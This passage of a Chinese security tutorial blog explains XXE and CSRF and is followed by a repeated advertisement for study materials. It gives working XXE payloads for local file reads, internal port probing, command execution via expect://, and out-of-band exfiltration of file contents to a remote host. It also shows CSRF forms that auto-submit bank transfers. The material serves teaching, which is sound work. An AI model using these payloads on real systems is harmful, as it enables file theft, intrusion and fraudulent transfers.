<user><username>&myentity;</username><password>hh</password></user>
//调用了myentity实体

可以看见成功的读取到了敏感文件

攻击层面

由于自定义外部实体有着可以引用外部资源的功能,SYSTEM后面的url分为以下几种方式,利用协议攻击


基本可以达到和SSRF一样的效果,探测内网端口(http/https),DDOS,读取任意文件(file),命令执行(expect)等

读取文件
<?xml version = "1.0"?>
<!DOCTYPE user [
<!ENTITY xxe SYSTEM "file:///e://test.txt">
]>
<x>&xxe;</x>

内网探测
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE user [
<!ENTITY xss SYSTEM "http://192.168.3.1:81/index.txt" >
  ]>
<x>&xss;</x>

RCE
该 CASE 是在安装 expect 扩展的 PHP 环境里执行系统命令
<?xml version = "1.0"?>
<!DOCTYPE user [
<!ENTITY xxe SYSTEM "expect://id" >
]>
<x>&xxe;</x>

RCE漏洞在实战一般很难遇到

伪协议-读文件
<!DOCTYPE user[<!ENTITY myentity SYSTEM "php://filter/convert.base64-encode/resource=xxx.php">]>

引入外部实体 dtd
<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "http://127.0.0.1/test.dtd">
%file;
]>
<x>&send;</x>
test.dtd:
<!ENTITY send SYSTEM "file:///d:/test.txt">

  • 条件:看对方的应用有没有禁用外部实体引用,这也是防御XXE的一种措施


关于百分号的理解

XML的规范定义中,只有在DTD中才能引用参数实体. 参数实体的声明和引用都是以百分号%。并且参数实体的引用在DTD是理解解析的,替换文本将变成DTD的一部分。该类型的实体用“%”字符(或十六进制编码的%)声明,并且仅在经过解析和验证后才用于替换DTD中的文本或其他内容:

无回显-OOB
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///d:/test.txt">
<!ENTITY % dtd SYSTEM "http://xx.xx.xx.xx/test.dtd">
%dtd;
%send;
]>
test.dtd:
<!ENTITY % payload
"<!ENTITY &#x25; send SYSTEM 'http://xx.xx.xx.xx/?data=%file;'>"
>

服务器请求数据读取文件,然后将文件内容发送到远程服务地址的脚本,最后服务器再访问一次远程地址并把数据放到data=后面中,通过日志查看数据

总结

自定义内部实体一般情况下没有实质性的危害,真正有用的是可以引用外部资源的自定义外部实体,总结的是比较基础的知识点,通常可以利用引用外部实体进行读取绕过,或者OOB读取无回显。

CSRF

什么是CSRF?

CSRF(Cross-Site Request Forgery),也称为“跨站请求伪造”,是一种常见的Web应用程序安全漏洞,攻击者利用用户已经登录的状态下,诱骗用户访问恶意网站或点击恶意链接,向受害者的Web向已登录应用程序发送伪造的HTTP请求,从而实现对受害者的攻击。

攻击者通过各种手段,例如在电子邮件中插入链接、在社交媒体上发布恶意链接或图片等方式引导用户点击,将受害者引导到恶意网站或页面,实现对用户账户的控制。当用户在已经登录的情况下访问恶意网站时,恶意网站或页面可能会发送HTTP请求,如更改用户信息、发起转账请求等,从而伪造用户的身份,向Web应用程序发送伪造请求,执行各种恶意操作

CSRF攻击举例

假设有一个银行网站,该网站在用户登录后允许用户通过如下URL进行资金转账:

http://bank.example.com/transfer?amt=1000&toAccount=baimao

在这个URL中,amt 参数表示要转账的金额,而 toAccount 参数则是接收资金的账号。

如果用户在访问攻击者的网站时,攻击者的网页中包含了一个自动提交到上述银行URL的表单或者是通过JavaScript发起的请求,那么用户的浏览器可能会无意中发送转账请求:

<img src="http://bank.example.com/transfer?amt=1000&toAccount=hacker" style="display: none;">

如果用户已经登录了银行网站,他们的浏览器可能会自动使用用户的认证cookie来执行这个请求,导致资金被转移到攻击者指定的账户

漏洞代码详解

一个简单的漏洞Web网站可能用如下的HTML表单来处理用户的请求:

<form action="http://bank.example.com/transfer" method="POST">
  <input type="text" name="amt"/>
  <input type="text" name="toAccount"/>
  <input type="submit" value="Transfer Funds"/>
</form>

如果该网站没有验证请求是否是用户有意发起的,那么攻击者就可以创建一个自己的恶意网页,包含以下代码:

<form action="http://bank.example.com/transfer" method="POST" id="maliciousForm">
  <input type="hidden" name="amt" value="1000"/>
  <input type="hidden" name="toAccount" value="attacker"/>
</form>
<script>document.getElementById('maliciousForm').submit();</script>

当受害者浏览该恶意网页时,表单会自动提交,而受害者可能完全不知情

自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。

深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
img
img
img
img
img
img

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点,真正体系化!

由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新

如果你觉得这些内容对你有帮助,可以添加VX:vip204888 (备注网络安全获取)
img

一、网安学习成长路线图

网安所有方向的技术点做的整理,形成各个领域的知识点汇总,它的用处就在于,你可以按照上面的知识点去找对应的学习资源,保证自己学得较为全面。
在这里插入图片描述

二、网安视频合集

观看零基础学习视频,看视频学习是最快捷也是最有效果的方式,跟着视频中老师的思路,从基础到深入,还是很容易入门的。
在这里插入图片描述

三、精品网安学习书籍

当我学到一定基础,有自己的理解能力的时候,会去阅读一些前辈整理的书籍或者手写的笔记资料,这些笔记详细记载了他们对一些技术点的理解,这些理解是比较独到,可以学到不一样的思路。
在这里插入图片描述

四、网络安全源码合集+工具包

光学理论是没用的,要学会跟着一起敲,要动手实操,才能将自己的所学运用到实际当中去,这时候可以搞点实战案例来学习。
在这里插入图片描述

五、网络安全面试题

最后就是大家最关心的网络安全面试题板块
在这里插入图片描述在这里插入图片描述

一个人可以走的很快,但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎扫码加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
img

自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。

深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
[外链图片转存中…(img-4OBxuVzz-1712867835534)]
[外链图片转存中…(img-345FXb32-1712867835535)]
[外链图片转存中…(img-umJ1DQ95-1712867835535)]
[外链图片转存中…(img-uH5ztdkd-1712867835535)]
[外链图片转存中…(img-PVOlqMsj-1712867835536)]
[外链图片转存中…(img-zU2qW4S1-1712867835536)]

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点,真正体系化!

由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新

如果你觉得这些内容对你有帮助,可以添加VX:vip204888 (备注网络安全获取)
[外链图片转存中…(img-lm724t2k-1712867835536)]

一、网安学习成长路线图

网安所有方向的技术点做的整理,形成各个领域的知识点汇总,它的用处就在于,你可以按照上面的知识点去找对应的学习资源,保证自己学得较为全面。
在这里插入图片描述

二、网安视频合集

观看零基础学习视频,看视频学习是最快捷也是最有效果的方式,跟着视频中老师的思路,从基础到深入,还是很容易入门的。
在这里插入图片描述

三、精品网安学习书籍

当我学到一定基础,有自己的理解能力的时候,会去阅读一些前辈整理的书籍或者手写的笔记资料,这些笔记详细记载了他们对一些技术点的理解,这些理解是比较独到,可以学到不一样的思路。
在这里插入图片描述

四、网络安全源码合集+工具包

光学理论是没用的,要学会跟着一起敲,要动手实操,才能将自己的所学运用到实际当中去,这时候可以搞点实战案例来学习。
在这里插入图片描述

五、网络安全面试题

最后就是大家最关心的网络安全面试题板块
在这里插入图片描述在这里插入图片描述

一个人可以走的很快,但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎扫码加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
[外链图片转存中…(img-0MeIrQbZ-1712867835537)]

  • 15
    点赞
  • 21
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值